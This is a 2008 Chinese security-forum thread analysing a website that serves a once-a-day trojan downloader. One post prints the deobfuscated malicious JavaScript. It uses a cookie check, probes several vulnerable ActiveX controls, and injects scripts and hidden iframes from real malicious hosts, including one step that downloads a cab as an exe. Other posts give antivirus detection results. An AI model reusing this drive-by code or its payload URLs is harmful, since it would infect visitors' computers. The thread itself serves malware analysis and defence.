有点奇怪的毒网

浪滔天

http://www.hongrenju.com.cn


卡巴报：Trojan-Downloader.JS.FYM.a

每天只有第一次打开这个网页的时候报，以后再打开这个网页卡巴就没反应了。如果你将系统时间往后调一天再打开这个网页，就又会出现这个东西。

[ 本帖最后由 浪滔天 于 2008-1-3 20:32 编辑 ]

qigang

1) http://www.hongrenju.com.cn : 安全
2) http://www.hongrenju.com.cn/archiver/ : 安全
3) http://www.hongrenju.com.cn/rss.php?auth=0 : 未知网页
4) http://www.hongrenju.com.cn/forumdata/cache/style_7.css : 未知网页
5) http://www.hongrenju.com.cn/forumdata/cache/style_7_append.css : 未知网页
6) http://www.hongrenju.com.cn/include/javascript/common.js : 安全
7) http://www.hongrenju.com.cn/include/javascript/menu.js : 安全
8) http://www.hongrenju.com.cn/include/javascript/ajax.js : 安全

危险的链接：0
安全的链接：5
失效的链接：3
页面总数量：8

qigang

Trojan-Downloader.JS.FYM.a

solcroft

一点都不奇怪
利用js可以辨认访问者的IP和系统时间
今天给你下一个，明天送你个更新的

dikex

准确的来说，是cookie的问题，那个毒网弄了cookie检测了，有效期为1天，如果cookie还有效就不执行接下来的代码：

http://list.adslooks.info/ads.js，这个东西还在文件开头写了特殊字符

1. if(window["document"]["cookie"]["indexOf"]('OKMOON')==-1){
   
2. try{var pEsqeg1;
   
3. var lsGG_2=(window["document"]["createElement"]("object"));
   
4. lsGG_2["setAttribute"]("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
   
5. var DnlB$FsK3=lsGG_2["createobject"]("Adodb.Stream","")}
   
6. catch(e){};
   
7. finally{
   
8. var aLIhgp4=new window["Date"]();
   
9. aLIhgp4["setTime"](aLIhgp4["getTime"]()+24*60*60*1000);
   
10. window["document"]["cookie"]='OKMOON=SUN;path=/;expires='+aLIhgp4["toGMTString"]();
    
11. window["document"]["write"]("<script src=http://v.222360.com/6.gif></script>");
    
12. if(e!="[object Error]"){
    
13. window["document"]["write"]("<script src=http://v.222360.com/1.gif></script>")}
    
14. else{
    
15. try{var FUFov5;var taf_sKuL6=new ActiveXObject("MPS.StormPlayer");}
    
16. catch(f){};
    
17. finally{if(f!="[object Error]"){
    
18. window["document"]["write"]("<script src=http://v.222360.com/2.gif></script>");
    
19. window["document"]["write"]("<DIV style="CURSOR: url('http://v.222360.com/ads.c')"></DIV>");
    
20. }}
    
21. try{var zjVuTD_7;var R8=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
    
22. catch(g){};
    
23. finally{if(g!="[object Error]"){
    
24. window["document"]["write"]("<script src=http://v.222360.com/3.gif></script>");
    
25. window["document"]["write"]("<DIV style="CURSOR: url('http://v.222360.com/ads.c')"></DIV>");
    
26. }}
    
27. try{var wHBs$yKsH9;var z10=new ActiveXObject("DPClient.Vod");}
    
28. catch(h){};
    
29. finally{if(h!="[object Error]"){
    
30. window["document"]["write"]("<script src=http://v.222360.com/4.gif></script>");
    
31. window["document"]["write"]("<DIV style="CURSOR: url('http://v.222360.com/ads.c')"></DIV>");
    
32. }}
    
33. try{var EsaUnnK11;var i$Cgq12=new ActiveXObject("GLCHAT.GLChatCtrl.1");}
    
34. catch(i){};
    
35. finally{if(i!="[object Error]"){
    
36. window["document"]["write"]("<iframe style=display:none src=http://v.222360.com/5.gif></iframe>");}}
    
37. try{var Rc13;var dYTl14=new ActiveXObject("BaiduBar.Tool");}
    
38. catch(j){};
    
39. finally{if(j!="[object Error]"){
    
40. obj["DloadDS"]("http://v.222360.com/ads/ads.cab", "ads.exe", 0);
    
41. window["document"]["write"]("<DIV style="CURSOR: url('http://v.222360.com/ads.c')"></DIV>");
    
42. }}
    
43. if(f=="[object Error]" && g=="[object Error]" && h=="[object Error]" && i=="[object Error]" && j=="[object Error]")
    
44. {window["document"]["write"]("<DIV style="CURSOR: url('http://v.222360.com/ads.c')"></DIV>");}
    
45. }}}

复制代码

只解了一个：http://ads.adslooks.info/ads/rm.exe

[ 本帖最后由 dikex 于 2008-1-3 21:31 编辑 ]

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.DL.Win32.Small.gkm

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.25.32

yuyando

Begin scan in 'F:\Documents and Settings\Administrator\桌面\virus.rar'
F:\Documents and Settings\Administrator\桌面\virus.rar
  [0] Archive type: RAR
  --> rm.exe
      [DETECTION] Is the Trojan horse TR/Dldr.Small.gkm.1

capsshift

又是红伞能杀的，喜欢红伞，没错。

28654621

\virus.rar>>rm.exe        TrojanDownloader.Small.gkm.tmvm        木马        还未处理

29159011

这。。。。。。。。。。。。。。。。。。